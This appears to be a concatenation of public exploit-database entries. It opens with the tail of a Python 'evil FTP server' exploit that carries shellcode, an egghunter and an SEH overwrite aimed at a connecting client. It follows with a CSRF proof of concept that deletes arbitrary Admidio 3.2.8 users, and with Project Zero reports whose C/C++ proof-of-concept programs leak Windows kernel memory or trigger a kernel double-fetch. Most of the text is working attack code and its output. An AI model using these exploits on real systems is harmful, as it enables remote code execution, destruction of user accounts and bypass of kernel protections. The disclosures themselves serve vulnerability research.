buf += "\xae\x24\xf7\x85\x01\x8e\xa6\x54\x5d\x65\x49\x07\x5e"
buf += "\xd3\x79\x2e\x41\xb6\x86\xcf\xb3\xb8\x2c\x03\xe3\xb9"
buf += "\x9a\x57\xf4\x13\x0d\x34\x5f\xca\x1a\x31\x33\xd6\xbc"
buf += "\xce\x89\x2a\x36\x84\x14\x2b\x49\xce\x9c\x81\x51\x85"
buf += "\xf9\x35\x63\x72\x1e\x07\x2a\x0f\xd5\xe3\xad\xe1\x27"
buf += "\x0b\x51\xcc\x87\x5f\x92\xce\x7c\xa7\x22\xc1\x70\xa6"
buf += "\x63\x36\x78\x93\x17\xec\x69\x91\x06\x67\xcb\x7d\xc8"
buf += "\x9c\x8a\xf6\xc6\x29\xd8\x53\xcb\xac\x35\xe8\xf7\x25"
buf += "\xc8\x07\x1c\x3b\xfa\x17\x6a\xd1\xa3\xc9\x30\x7e\x9e"
buf += "\xfe\xca"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

egg = "w00tw00t"

nseh = "\x90\x90\xEB\x05" #JMP over SEH
seh = "\xF8\x54\x01\x68" #POP POP RET 680154F8 in WCMDPA10.DLL

buffer = "A" * 100 + egg + "\x90" * 10 + buf + "D" * (9266-len(buf)) + nseh + seh + egghunter + "C" * 576

port = 21

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[i] Evil FTP server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to your unfriendly FTP server\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')
            
# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
# Date: 28/April/2017
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website: 
http://provensec.com/
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://www.admidio.org/download.php
# Version: 3.2.8
# Tested on: Windows 10 (Xampp)
# CVE : CVE-2017-8382


[Suggested description]
Admidio 3.2.8 has CSRF in 
adm_program/modules/members/members_function.php with
  an impact of deleting arbitrary user accounts.

  ------------------------------------------

  [Additional Information]
  Using this crafted html form we are able to delete any user with 
admin/user privilege.

  <html>
    <body onload="javascript:document.forms[0].submit()">
      <form 
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
        <input type="hidden" name="usr&#95;id" value='9' />
        <input type="hidden" name="mode" value="3" />
        </form>
    </body>
  </html>

[Affected Component]
  http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php

  ------------------------------------------

  [Attack Type]
  Remote

  ------------------------------------------

  [Impact Escalation of Privileges]
  true

  ------------------------------------------

  [Attack Vectors]
  Steps:
  1.) If an user with admin privilege opens a crafted
  html/JPEG(Image),then both the admin and users with user privilege
  which are mentioned by the user id (as like shown below) in the
  crafted request are deleted.

   <input type="hidden" name="usr&#95;id" value='3' />

  2.) In admidio by default the userid starts from '0',
  '1' for system '2' for users, so an attacker
  can start from '2' upto 'n' users.

  3.)For deleting the user permanently we select 'mode=3'(as like shown
  below),then all admin/low privileged users are deleted.

   <input type="hidden" name="mode" value="3" />

  ------------------------------------------

  [Reference]
  https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Thanks
Faiz Ahmed Zaidi
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1145

We have observed (on Windows 7 32-bit) that for unclear reasons, the kernel-mode structure containing the default DACL of system processes' tokens (lsass.exe, services.exe, ...) has 8 uninitialized bytes at the end, as the size of the structure (ACL.AclSize) is larger than the sum of ACE lengths (ACE_HEADER.AceSize). It is possible to read the leftover pool data using a GetTokenInformation(TokenDefaultDacl) call.

When the attached proof-of-concept code is run against a SYSTEM process (pid of the process must be passed in the program argument), on a system with Special Pools enabled for ntoskrnl.exe, output similar to the following can be observed:

>NtQueryInformationToken.exe 520
00000000: 54 bf 2b 00 02 00 3c 00 02 00 00 00 00 00 14 00 T.+...<.........
00000010: 00 00 00 10 01 01 00 00 00 00 00 05 12 00 00 00 ................
00000020: 00 00 18 00 00 00 02 a0 01 02 00 00 00 00 00 05 ................
00000030: 20 00 00 00 20 02 00 00[01 01 01 01 01 01 01 01] ... ...........

The last eight 0x01 bytes are markers inserted by Special Pools, which visibly haven't been overwritten by any actual data prior to being returned to user-mode.

While reading DACLs of system processes may require special privileges (such as the ability to acquire SeDebugPrivilege), the root cause of the behavior could potentially make it possible to also create uninitialized DACLs that are easily accessible by regular users. This could in turn lead to a typical kernel memory disclosure condition, which would allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. Since it's not clear to us what causes the abberant behavior, we're reporting it for further analysis to be on the safe side.

The proof-of-concept code is mostly based on the example at https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege.
*/

#define RTN_OK 0
#define RTN_USAGE 1
#define RTN_ERROR 13

#include <windows.h>
#include <stdio.h>

BOOL SetPrivilege(
  HANDLE hToken,          // token handle
  LPCTSTR Privilege,      // Privilege to enable/disable
  BOOL bEnablePrivilege   // TRUE to enable.  FALSE to disable
  );

void DisplayError(LPTSTR szAPI);
VOID PrintHex(PBYTE Data, ULONG dwBytes);

int main(int argc, char *argv[])
{
  HANDLE hProcess;
  HANDLE hToken;
  int dwRetVal = RTN_OK; // assume success from main()

  // show correct usage for kill
  if (argc != 2)
  {
    fprintf(stderr, "Usage: %s [ProcessId]\n", argv[0]);
    return RTN_USAGE;
  }

  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
  {
    if (GetLastError() == ERROR_NO_TOKEN)
    {
      if (!ImpersonateSelf(SecurityImpersonation))
        return RTN_ERROR;

      if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)){
        DisplayError(L"OpenThreadToken");
        return RTN_ERROR;
      }
    }
    else
      return RTN_ERROR;
  }

  // enable SeDebugPrivilege
  if (!SetPrivilege(hToken, SE_DEBUG_NAME, TRUE))
  {
    DisplayError(L"SetPrivilege");

    // close token handle
    CloseHandle(hToken);

    // indicate failure
    return RTN_ERROR;
  }
  
  CloseHandle(hToken);

  // open the process
  if ((hProcess = OpenProcess(
    PROCESS_QUERY_INFORMATION,
    FALSE,
    atoi(argv[1]) // PID from commandline
    )) == NULL)
  {
    DisplayError(L"OpenProcess");
    return RTN_ERROR;
  }

  // Open process token.
  if (!OpenProcessToken(hProcess, TOKEN_READ, &hToken)) {
    DisplayError(L"OpenProcessToken");
    return RTN_ERROR;
  }

  DWORD ReturnLength = 0;
  if (!GetTokenInformation(hToken, TokenDefaultDacl, NULL, 0, &ReturnLength) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
    DisplayError(L"GetTokenInformation #1");
    return RTN_ERROR;
  }

  PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
  if (!GetTokenInformation(hToken, TokenDefaultDacl, OutputBuffer, ReturnLength, &ReturnLength)) {
    DisplayError(L"GetTokenInformation #2");
    return RTN_ERROR;
  }

  PrintHex(OutputBuffer, ReturnLength);

  // close handles
  HeapFree(GetProcessHeap(), 0, OutputBuffer);
  CloseHandle(hProcess);

  return dwRetVal;
}

BOOL SetPrivilege(
  HANDLE hToken,          // token handle
  LPCTSTR Privilege,      // Privilege to enable/disable
  BOOL bEnablePrivilege   // TRUE to enable.  FALSE to disable
  )
{
  TOKEN_PRIVILEGES tp;
  LUID luid;
  TOKEN_PRIVILEGES tpPrevious;
  DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES);

  if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;

  // 
  // first pass.  get current privilege setting
  // 
  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = 0;

  AdjustTokenPrivileges(
    hToken,
    FALSE,
    &tp,
    sizeof(TOKEN_PRIVILEGES),
    &tpPrevious,
    &cbPrevious
    );

  if (GetLastError() != ERROR_SUCCESS) return FALSE;

  // 
  // second pass.  set privilege based on previous setting
  // 
  tpPrevious.PrivilegeCount = 1;
  tpPrevious.Privileges[0].Luid = luid;

  if (bEnablePrivilege) {
    tpPrevious.Privileges[0].Attributes |= (SE_PRIVILEGE_ENABLED);
  }
  else {
    tpPrevious.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
      tpPrevious.Privileges[0].Attributes);
  }

  AdjustTokenPrivileges(
    hToken,
    FALSE,
    &tpPrevious,
    cbPrevious,
    NULL,
    NULL
    );

  if (GetLastError() != ERROR_SUCCESS) return FALSE;

  return TRUE;
}

void DisplayError(
  LPTSTR szAPI    // pointer to failed API name
  )
{
  LPTSTR MessageBuffer;
  DWORD dwBufferLength;

  fwprintf(stderr, L"%s() error!\n", szAPI);

  if (dwBufferLength = FormatMessage(
    FORMAT_MESSAGE_ALLOCATE_BUFFER |
    FORMAT_MESSAGE_FROM_SYSTEM,
    NULL,
    GetLastError(),
    GetSystemDefaultLangID(),
    (LPTSTR)&MessageBuffer,
    0,
    NULL
    ))
  {
    DWORD dwBytesWritten;

    // 
    // Output message string on stderr
    // 
    WriteFile(
      GetStdHandle(STD_ERROR_HANDLE),
      MessageBuffer,
      dwBufferLength,
      &dwBytesWritten,
      NULL
      );

    // 
    // free the buffer allocated by the system
    // 
    LocalFree(MessageBuffer);
  }
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1161

We have discovered that the handler of the nt!NtTraceControl system call (specifically the EtwpSetProviderTraitsUm functionality, opcode 0x1E) discloses portions of uninitialized pool memory to user-mode clients on Windows 10 systems.

On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000020: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000030: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000040: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000070: ff ff ff ff 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region (in this case, the special byte is 0x75, or "u"):

--- cut ---
00000000: 28 00 00 00 00 00 00 00 24 f8 f7 00 00 00 00 00 (.......$.......
00000010: 39 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 9.......uuuuuuuu
00000020: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
00000030: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
00000040: 75 75 75 75 75 75 75 75 01 00 00 00 ff 00 00 00 uuuuuuuu........
00000050: a1 03 00 00 00 00 00 00 00 00 00 00 00 80 00 00 ................
00000060: 00 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 ........uuuuuuuu
00000070: 75 75 75 75 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? uuuu............
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
NTSTATUS WINAPI NtTraceControl(
    DWORD Operation,
    LPVOID InputBuffer,
    DWORD InputSize,
    LPVOID OutputBuffer,
    DWORD OutputSize,
    LPDWORD BytesReturned);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  BYTE data[] = "9\x00Microsoft.Windows.Kernel.KernelBase\x00\x13\x00\x01\x1asPO\xcf\x89\x82G\xb3\xe0\xdc\xe8\xc9\x04v\xba";
  struct {
    DWORD hevent;
    DWORD padding1;
    LPVOID data;
    DWORD padding2;
    USHORT data_size;
    USHORT padding3;
    DWORD padding4;
  } Input = {
    0, 0, data, 0, sizeof(data) - 1, 0, 0
  };
  BYTE Output[1024] = { /* zero padding */ };

  for (DWORD handle = 0x4; handle < 0x1000; handle += 4) {
    Input.hevent = handle;

    DWORD BytesReturned = 0;
    NTSTATUS ntst = NtTraceControl(30, &Input, sizeof(Input), Output, sizeof(Output), &BytesReturned);
    if (NT_SUCCESS(ntst)) {
      PrintHex(Output, BytesReturned);
      break;
    }
  }

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1182

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtUserCreateWindowEx system call. The analysis shown below was performed on Windows 7 32-bit.

The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows:

--- cut ---
8a993e28 82ab667d nt!memcpy+0x35
8a993e84 92c50063 nt!KeUserModeCallback+0xc6
8a994188 92c5f436 win32k!xxxClientLpkDrawTextEx+0x16b
8a9941f4 92c5f72e win32k!DT_GetExtentMinusPrefixes+0x91
8a994230 92c5f814 win32k!NeedsEndEllipsis+0x3d
8a99437c 92c5fa0f win32k!AddEllipsisAndDrawLine+0x56
8a994404 92c5fa9b win32k!DrawTextExWorker+0x140
8a994428 92bb8c65 win32k!DrawTextExW+0x1e
8a9946f0 92b23702 win32k!xxxDrawCaptionTemp+0x54d
8a994778 92b78ce8 win32k!xxxDrawCaptionBar+0x682
8a99479c 92b8067f win32k!xxxDWP_DoNCActivate+0xd6
8a994818 92b59c8d win32k!xxxRealDefWindowProc+0x7fe
8a99483c 92b86c1c win32k!xxxDefWindowProc+0x10f
8a994874 92b8c156 win32k!xxxSendMessageToClient+0x11b
8a9948c0 92b8c205 win32k!xxxSendMessageTimeout+0x1cf
8a9948e8 92b719b5 win32k!xxxSendMessage+0x28
8a994960 92b4284b win32k!xxxActivateThisWindow+0x473
8a9949c8 92b42431 win32k!xxxSetForegroundWindow2+0x3dd
8a994a08 92b714c7 win32k!xxxSetForegroundWindow+0x1e4
8a994a34 92b712d7 win32k!xxxActivateWindow+0x1b3
8a994a48 92b70cd6 win32k!xxxSwpActivate+0x44
8a994aa8 92b70f83 win32k!xxxEndDeferWindowPosEx+0x2b5
8a994ac8 92b7504f win32k!xxxSetWindowPos+0xf6
8a994b04 92b6f6dc win32k!xxxShowWindow+0x25a
8a994c30 92b72da9 win32k!xxxCreateWindowEx+0x137b
8a994cf0 82876db6 win32k!NtUserCreateWindowEx+0x2a8
8a994cf0 77486c74 nt!KiSystemServicePostCall
0022f9f8 770deb5c ntdll!KiFastSystemCallRet
0022f9fc 770deaf0 USER32!NtUserCreateWindowEx+0xc
0022fca0 770dec1c USER32!VerNtUserCreateWindowEx+0x1a3
0022fd4c 770dec77 USER32!_CreateWindowEx+0x201
0022fd88 004146a5 USER32!CreateWindowExW+0x33
--- cut ---

The win32k!xxxClientLpkDrawTextEx function invokes a user-mode callback #69 (corresponding to user32!__ClientLpkDrawTextEx), and passes in an input structure of 0x98 bytes. We have found that 4 bytes at offset 0x64 of that structure are uninitialized. These bytes come from offset 0x2C of a smaller structure of size 0x3C, which is passed to win32k!xxxClientLpkDrawTextEx through the 8th parameter. We have tracked that this smaller structure originates from the stack frame of the win32k!DrawTextExWorker function, and is passed down to win32k!DT_InitDrawTextInfo in the 4th argument.

The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). During a few quick attempts, we have been unable to control the leaked bytes with stack spraying techniques, or to get them to contain any meaningful values for the purpose of vulnerability demonstration. However, if we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!DrawTextExWorker, manually overwrite the 4 bytes in question to a controlled DWORD right after the stack frame allocation instructions, and then observe these bytes in the output of the PoC program, which indicates they were not initialized anywhere during execution between win32k!DrawTextExWorker and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below:

--- cut ---
2: kd> ba e 1 win32k!DrawTextExWorker
2: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff            mov     edi,edi
3: kd> p
win32k!DrawTextExWorker+0x2:
8122f8d1 55              push    ebp
3: kd> p
win32k!DrawTextExWorker+0x3:
8122f8d2 8bec            mov     ebp,esp
3: kd> p
win32k!DrawTextExWorker+0x5:
8122f8d4 8b450c          mov     eax,dword ptr [ebp+0Ch]
3: kd> p
win32k!DrawTextExWorker+0x8:
8122f8d7 83ec58          sub     esp,58h
3: kd> p
win32k!DrawTextExWorker+0xb:
8122f8da 53              push    ebx
3: kd> ed ebp-2c cccccccc
3: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff            mov     edi,edi
3: kd> g
--- cut ---

Here, a 32-bit value at EBP-0x2C is overwritten with 0xCCCCCCCC. This is the address of the uninitialized memory, since it is located at offset 0x2C of a structure placed at EBP-0x58; EBP-0x58+0x2C = EBP-0x2C. After executing the above commands, the program should print output similar to the following:

--- cut ---
00000000: 98 00 00 00 18 00 00 00 01 00 00 00 00 00 00 00 ................
00000010: 7c 00 00 00 00 00 00 00 14 00 16 00 80 00 00 00 |...............
00000020: a4 02 01 0e 00 00 00 00 00 00 00 00 0a 00 00 00 ................
00000030: 00 00 00 00 24 88 00 00 18 00 00 00 04 00 00 00 ....$...........
00000040: 36 00 00 00 16 00 00 00 30 00 00 00 01 00 00 00 6.......0.......
00000050: 01 00 00 00 0d 00 00 00 1e 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00[cc cc cc cc]00 00 00 00 04 00 00 00 ................
00000070: ff ff ff ff 01 00 00 00 ff ff ff ff 1c 00 00 00 ................
00000080: 54 00 65 00 73 00 74 00 57 00 69 00 6e 00 64 00 T.e.s.t.W.i.n.d.
00000090: 6f 00 77 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? o.w.............
--- cut ---

It's clearly visible that bytes at offsets 0x64-0x67 are equal to the data we set in the prologue of win32k!DrawTextExWorker, which illustrates how uninitialized stack data is leaked to user-mode.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

PVOID *GetUser32DispatchTable() {
  __asm{
    mov eax, fs:30h
    mov eax, [eax+0x2c]
  }
}

BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler) {
  PVOID *DispatchTable = GetUser32DispatchTable();
  DWORD OldProtect;

  if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
    printf("VirtualProtect#1 failed, %d\n", GetLastError());
    return FALSE;
  }

  DispatchTable[Index] = lpNewHandler;
  
  if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
    printf("VirtualProtect#2 failed, %d\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

VOID ClientLpkDrawTextExHook(LPVOID Data) {
  printf("----------\n");
  PrintHex((PBYTE)Data, 0x98);
}

int main() {
  if (!HookUser32DispatchFunction(69, ClientLpkDrawTextExHook)) {
    return 1;
  }
  
  HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
                            CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0);
  DestroyWindow(hwnd);

  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1127

We have identified two related bugs in Windows kernel code responsible for implementing the bind() socket function, specifically in the afd!AfdBind and tcpip!TcpBindEndpoint routines. They both can lead to reading beyond the allocated pool-based buffer memory area, potentially allowing user-mode applications to disclose kernel-mode secrets. They can also be exploited to trigger a blue screen of death and therefore a Denial of Service condition.

The details are explained below.

----------[ Double-fetch in afd!AfdBind ]----------

In the code of the afd!AfdBind function of the up-to-date afd.sys module (handler of the AFD_BIND IOCTL accessible from ring-3) on Windows 7 32-bit, we can find the following assembly code construct:

--- cut ---
  PAGE:00024D71                 push    0EC646641h      ; Tag
  PAGE:00024D76                 push    [ebp+NumberOfBytes] ; NumberOfBytes
  PAGE:00024D79                 push    10h             ; PoolType
  PAGE:00024D7B                 call    ds:__imp__ExAllocatePoolWithQuotaTag@12
  [...]
  PAGE:00024DD2                 lea     edi, [eax+4]
  PAGE:00024DD5                 push    edi             ; void *
  PAGE:00024DD6                 push    [ebp+P]         ; void *
  PAGE:00024DD9                 call    ds:__imp__memmove <------------------- Fetch #1
  PAGE:00024DDF                 add     esp, 0Ch
  PAGE:00024DE2                 movzx   eax, word ptr [edi] <----------------- Fetch #2
  PAGE:00024DE5                 cmp     ax, 22h
  PAGE:00024DE9                 jb      short loc_24E01
  [...]
  PAGE:00024E01
  PAGE:00024E01 loc_24E01:
  PAGE:00024E01                 push    eax
  PAGE:00024E02                 call    _SOCKADDR_SIZE@4 ; SOCKADDR_SIZE(x)
  PAGE:00024E07                 movzx   eax, al
  PAGE:00024E0A                 cmp     [ebp+NumberOfBytes], eax
  PAGE:00024E0D                 jnb     short loc_24E25
--- cut ---

Which translates to the following pseudo-code:

--- cut ---
  LPINPUTSTRUCT lpKernelStruct = ExAllocatePool(NumberOfBytes);
  memmove(lpKernelStruct, lpUserStruct, NumberOfBytes); <-------------------- Fetch #1

  if (NumberOfBytes < SOCKADDR_SIZE(lpUserStruct->dwStructType)) { <--------- Fetch #2
    // Bail out.
  }
--- cut ---

As can be seen, the first WORD of the input structure is fetched twice from a user-mode buffer: once during the memmove() call, and once when directly accessing it to pass its value as an argument to the SOCKADDR_SIZE function. The SOCKADDR_SIZE function is mostly just a wrapper around the constant sockaddr_size[] array, which has the following values:

 * indexes 0x00..0x01: 0x00
 * index         0x02: 0x10
 * indexes 0x03..0x16: 0x00
 * index         0x17: 0x1C
 * indexes 0x16..0x21: 0x00

The double fetch makes it possible for the first WORD of the structure to have different values on each access from kernel-mode (through another thread concurrently flipping its bits). For example, it could have the valid value 2 or 0x17 at the time of the memmove(), but any other value at the time of the direct access. This would lead to comparing the input structure size with 0 (which is the corresponding entry in sockaddr_size[]), effectively nullifying the sanitization. Other code down the execution flow may then assume that the size of the buffer has been correctly verified, and access some fields at predefined offsets, which may be located outside of the allocated buffer, if the user specifies a very small size.

In our case, the confused code is in tcpip!TcpBindEndpoint, which tries to copy an excessive number of bytes from a very small allocation. A crash log excerpt is shown below:

--- cut ---
  DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
  N bytes of memory was allocated and more than N bytes are being referenced.
  This cannot be protected by try-except.
  When possible, the guilty driver's name (Unicode string) is printed on
  the bugcheck screen and saved in KiBugCheckDriver.
  Arguments:
  Arg1: 8c5ed000, memory referenced
  Arg2: 00000000, value 0 = read operation, 1 = write operation
  Arg3: 84c703fe, if non-zero, the address which referenced memory.
  Arg4: 00000000, (reserved)

  Debugging Details:
  ------------------

  [...]

  TRAP_FRAME:  96647818 -- (.trap 0xffffffff96647818)
  ErrCode = 00000000
  eax=9512d970 ebx=95051020 ecx=00000003 edx=00000000 esi=8c5ed000 edi=9505104c
  eip=84c703fe esp=9664788c ebp=96647898 iopl=0         nv up ei ng nz ac po cy
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010293
  tcpip!TcpBindEndpoint+0x51:
  84c703fe f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
  Resetting default scope

  LAST_CONTROL_TRANSFER:  from 81722dff to 816be9d8

  STACK_TEXT:  
  9664736c 81722dff 00000003 d1dfd5f3 00000065 nt!RtlpBreakWithStatusInstruction
  966473bc 817238fd 00000003 00000000 00000004 nt!KiBugCheckDebugBreak+0x1c
  96647780 816d199d 00000050 8c5ed000 00000000 nt!KeBugCheck2+0x68b
  96647800 81683f98 00000000 8c5ed000 00000000 nt!MmAccessFault+0x104
  96647800 84c703fe 00000000 8c5ed000 00000000 nt!KiTrap0E+0xdc
  96647898 84c7039e 951769a0 8c2e3896 9512d970 tcpip!TcpBindEndpoint+0x51
  966478b8 84c72900 951769a0 966479cc 00000000 tcpip!TcpIoControlEndpoint+0x199
  966478cc 816ccbe5 9664795c d1dfdf7b 00000000 tcpip!TcpTlEndpointIoControlEndpointCalloutRoutine+0x8b
  96647934 84c6d89e 84c72875 9664795c 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
  9664796c 8c2e05ed 95176900 96647901 966479f8 tcpip!TcpTlEndpointIoControlEndpoint+0x67
  966479a0 8c2e06aa 84c6d837 951769a0 966479cc afd!AfdTLIoControl+0x33
  966479b8 8c2e3afa 8c53eef0 966479cc 9512d970 afd!AfdTLEndpointIoControl+0x1a
  966479f8 8c2e388a 9512d970 8c53eef0 9512d970 afd!AfdTLBind+0x4b
  96647a40 8c2d3eb8 9512d970 8c53eef0 00000000 afd!AfdTLBindSecurity+0x108
  96647aac 8c2e02bc 85e81198 9512d970 96647ae0 afd!AfdBind+0x283
  96647abc 8197d4d9 8bc0edd0 9512d970 85e81198 afd!AfdDispatchDeviceControl+0x3b
  96647ae0 8167a0e0 818727af 9512d970 8bc0edd0 nt!IovCallDriver+0x73
  96647af4 818727af 00000000 9512d970 9512da4c nt!IofCallDriver+0x1b
  96647b14 81875afe 8bc0edd0 85e81198 00000000 nt!IopSynchronousServiceTail+0x1f8
  96647bd0 818bcab0 00000054 9512d970 00000000 nt!IopXxxControlFile+0x810
  96647c04 81680db6 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
  96647c04 77716c74 00000054 00000000 00000000 nt!KiSystemServicePostCall
  0034f8b8 7771542c 75acab4d 00000054 00000000 ntdll!KiFastSystemCallRet
  0034f8bc 75acab4d 00000054 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
  0034f91c 7712bb75 00000054 00012003 001530d0 KERNELBASE!DeviceIoControl+0xf6
  0034f948 00141141 00000054 00012003 001530d0 kernel32!DeviceIoControlImplementation+0x80
  [...]
--- cut ---

We suspect it should be possible to extract some of the junk pool memory back to user-mode, e.g. through the IP address and port assigned to the socket in question. The issue reproduces on Windows 7, and is easiest to observe with Special Pools enabled for the afd.sys module. Attached is a afdbind_doublefetch.cpp file which is the C++ source code of a proof-of-concept program for the issue.

----------[ Buffer size sanitization logic in afd!AfdBind and tcpip!TcpBindEndpoint ]----------

As discussed before, the sockaddr_size[] array used during input structure size sanitization is full of 0x00's, except for indexes 0x2 and 0x17 (which are probably the only two valid packet types). Thus, if we call an IOCTL with the WORD containing a value other than the two, the sanitization will be virtually non-existent, and the input buffer is allowed to have any size at all. However, if we take a look at the tcpip!TcpBindEndpoint routine, we can see the following logic:

--- cut ---
  .text:000533EC                 cmp     word ptr [esi], 2
  .text:000533F0                 lea     edi, [ebx+1Ch]
  .text:000533F3                 jnz     short loc_533FB
  .text:000533F5                 movsd
  .text:000533F6                 movsd
  .text:000533F7                 movsd
  .text:000533F8                 movsd
  .text:000533F9                 jmp     short loc_53400
  .text:000533FB
  .text:000533FB loc_533FB:
  .text:000533FB                 push    7
  .text:000533FD                 pop     ecx
  .text:000533FE                 rep movsd
--- cut ---

which translates to:

--- cut ---
  if (lpKernelStruct->dwStructType == 2) {
    memcpy(lpNewStruct, lpKernelStruct, 0x10);
  } else {
    memcpy(lpNewStruct, lpKernelStruct, 0x1C);
  }
--- cut ---

